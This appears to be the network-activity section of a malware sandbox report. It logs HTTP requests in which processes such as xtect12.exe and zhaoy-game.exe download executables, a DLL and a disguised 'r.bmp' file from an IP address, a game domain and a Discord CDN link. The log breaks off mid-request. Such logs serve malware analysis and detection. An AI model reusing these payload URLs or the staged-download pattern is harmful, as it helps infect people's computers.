                                                                                                                                                                                                                                          HEAD /WW/file5.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:22 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 11:52:06 GMT
                                                                                                                                                                                                                                          ETag: "3259b8-5c9fc4bf36945"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 3299768
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file5.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file5.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:22 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 11:52:06 GMT
                                                                                                                                                                                                                                          ETag: "3259b8-5c9fc4bf36945"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 3299768
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file3.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file3.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:26 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 19:05:24 GMT
                                                                                                                                                                                                                                          ETag: "98f80-5ca025989c343"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 626560
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file4.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file4.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:26 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:09 GMT
                                                                                                                                                                                                                                          ETag: "92800-5c9fa740a236f"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 600064
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file8.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file8.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:23 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 09:21:10 GMT
                                                                                                                                                                                                                                          ETag: "93400-5ca0e4dfa0fa1"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 603136
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file8.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file8.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:23 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 09:21:10 GMT
                                                                                                                                                                                                                                          ETag: "93400-5ca0e4dfa0fa1"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 603136
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file7.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file7.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:23 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 17:18:26 GMT
                                                                                                                                                                                                                                          ETag: "19000-5ca00dafcda72"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 102400
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file7.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file7.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:23 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 17:18:26 GMT
                                                                                                                                                                                                                                          ETag: "19000-5ca00dafcda72"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 102400
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file6.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file6.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:23 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:17:53 GMT
                                                                                                                                                                                                                                          ETag: "1e800-5ca0f18d52659"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 124928
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file6.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file6.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:23 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:17:53 GMT
                                                                                                                                                                                                                                          ETag: "1e800-5ca0f18d52659"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 124928
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file4.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file4.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:23 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:09 GMT
                                                                                                                                                                                                                                          ETag: "92800-5c9fa740a236f"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 600064
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file2.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file2.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:24 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:07 GMT
                                                                                                                                                                                                                                          ETag: "92800-5c9fa73efe499"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 600064
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file1.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file1.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:24 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:07 GMT
                                                                                                                                                                                                                                          ETag: "1a580-5c9fa73e739d1"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 107904
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file3.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/file3.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:25 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 19:05:24 GMT
                                                                                                                                                                                                                                          ETag: "98f80-5ca025989c343"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 626560
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/PB14s.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /WW/PB14s.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:25 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:50:06 GMT
                                                                                                                                                                                                                                          ETag: "28e00-5c9fa97a08c05"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 167424
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/PB14s.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/PB14s.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:26 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:50:06 GMT
                                                                                                                                                                                                                                          ETag: "28e00-5c9fa97a08c05"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 167424
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file1.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file1.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:26 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:07 GMT
                                                                                                                                                                                                                                          ETag: "1a580-5c9fa73e739d1"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 107904
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file2.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /WW/file2.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 37.0.10.214
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:26 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 09:40:07 GMT
                                                                                                                                                                                                                                          ETag: "92800-5c9fa73efe499"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 600064
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://eduarroma.tumblr.com/
                                                                                                                                                                                                                                          eQZ3Lk9N1DfBVb17awS4tAvF.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          74.114.154.22:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET / HTTP/1.1
                                                                                                                                                                                                                                          Host: eduarroma.tumblr.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: openresty
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:26 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          X-Rid: 7b0de61ea2881ac44d1fede020b1242a
                                                                                                                                                                                                                                          P3p: CP="Tumblr's privacy policy is available here: https://www.tumblr.com/policy/en/privacy"
                                                                                                                                                                                                                                          X-Xss-Protection: 1; mode=block
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=15552001
                                                                                                                                                                                                                                          X-Tumblr-User: eduarroma
                                                                                                                                                                                                                                          X-Tumblr-Pixel-0: https://px.srvcs.tumblr.com/impixu?T=1629541506&J=eyJ0eXBlIjoidXJsIiwidXJsIjoiaHR0cDovL2VkdWFycm9tYS50dW1ibHIuY29tLyIsInJlcXR5cGUiOjAsInJvdXRlIjoiLyJ9&U=CHCGCBPFDF&K=330551babf19019474a958b6a1aa1f3413caa54461cebec315081c2ca2168fe4
                                                                                                                                                                                                                                          X-Tumblr-Pixel: 1
                                                                                                                                                                                                                                          Link: <https://assets.tumblr.com/images/default_avatar/octahedron_closed_128.png>; rel=icon
                                                                                                                                                                                                                                          Set-Cookie: pfg=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=.tumblr.com; secure; HttpOnly
                                                                                                                                                                                                                                          X-UA-Compatible: IE=Edge,chrome=1
                                                                                                                                                                                                                                          X-UA-Device: desktop
                                                                                                                                                                                                                                          Vary: X-UA-Device, Accept, Accept-Encoding
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2203/sqlite.dat
                                                                                                                                                                                                                                          zhaoy-game.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2203/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:26 GMT
                                                                                                                                                                                                                                          Content-Length: 578669
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          last-modified: Wed, 28 Jul 2021 11:35:54 GMT
                                                                                                                                                                                                                                          etag: "8d46d-5c82d63a37a38"
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=z850GLks9tjibq7lTWG1J7V8JhJcR9OBN8V2ZKxcYytea5vIqnKBkotOY2JBkTqOyUkHacot2DAA0vs0YrTGZ%2BmJPuPddg4aX%2BfnnvcovEutBgC8pHFQL2sxKJl%2BBRld"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232849bb894be2-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/sqlite.dll
                                                                                                                                                                                                                                          zhaoy-game.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/sqlite.dll HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdownload
                                                                                                                                                                                                                                          Content-Length: 75776
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          last-modified: Sun, 15 Aug 2021 13:23:49 GMT
                                                                                                                                                                                                                                          etag: "12800-5c998feb85e3f"
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0O%2Bx9VqsopMV6GhBtCTNoPMcysLRMfrUzKa5vLCIqwfccn7paR%2BXBNV5grgP%2Brwbl%2FMX80ZMzB4H1bqi%2FpFm%2FvpC0b8ByDmZuHx8xrlhGHWqhM1caB0aw9bE05kLtSBA"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232856fd9d4be2-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/875703530030260245/878322236350668870/r.bmp
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/875703530030260245/878322236350668870/r.bmp HTTP/1.1
